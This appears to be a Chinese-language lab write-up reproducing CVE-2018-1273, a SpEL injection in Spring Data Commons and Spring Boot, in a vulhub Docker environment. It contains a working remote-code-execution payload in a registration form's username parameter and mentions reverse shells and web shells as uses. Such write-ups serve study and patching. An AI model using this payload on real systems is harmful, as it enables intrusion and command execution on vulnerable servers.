影响范围

  • Spring Data Commons 1.13 - 1.13.10
  • Spring Data Commons 2.0 - 2.0.5
  • Spring Boot 1.5.0 - 1.5.11
  • Spring Boot 2.0.0 - 2.0.1

漏洞类型

SpEL 表达式注入

操作系统限制

配置要求

默认配置

漏洞利用

命令执行,进行反弹 shell,写入木马

利用原理

Spring MVC 中,当用户通过 POST 表单提交数据,Spring Data 会尝试将请求参数绑定到后端 Java 对象或 Map 中,Spring Data 允许参数名通过方括号语法定位集合或 Map 中的元素(例如 tags [0] 或 users [‘admin’]),当 Spring Data 处理方括号 2 的参数名时候,会调用 MapDataBinder 进行解析,而系统直接调用 SpEL 引擎来解析方括号内容且不做过滤,攻击者可以通过参数名的方括号注入恶意 SpEL 代码实现命令执行

漏洞复现

用现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/spring/CVE-2018-1273
#拉取镜像
docker-compose up -d

1773372745074

使用 dirsearch 进行目录扫描

1
dirsearch -u http://公网:8080

1773372808616

访问 http://公网: 8080/users

1773372834224

注册账号同时抓包

1773372888417

发送到 Repeater 模块

1773372927639

将输入请求主题内容替换为下面 payload,其中 touch /tmp/success 可以替换成其他敏感命令

1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

1773372980982

发送后返回 500

1773373020167

进入容器查看 /tmp 目录下的文件,发现 success,表示命令执行成功

1773373046364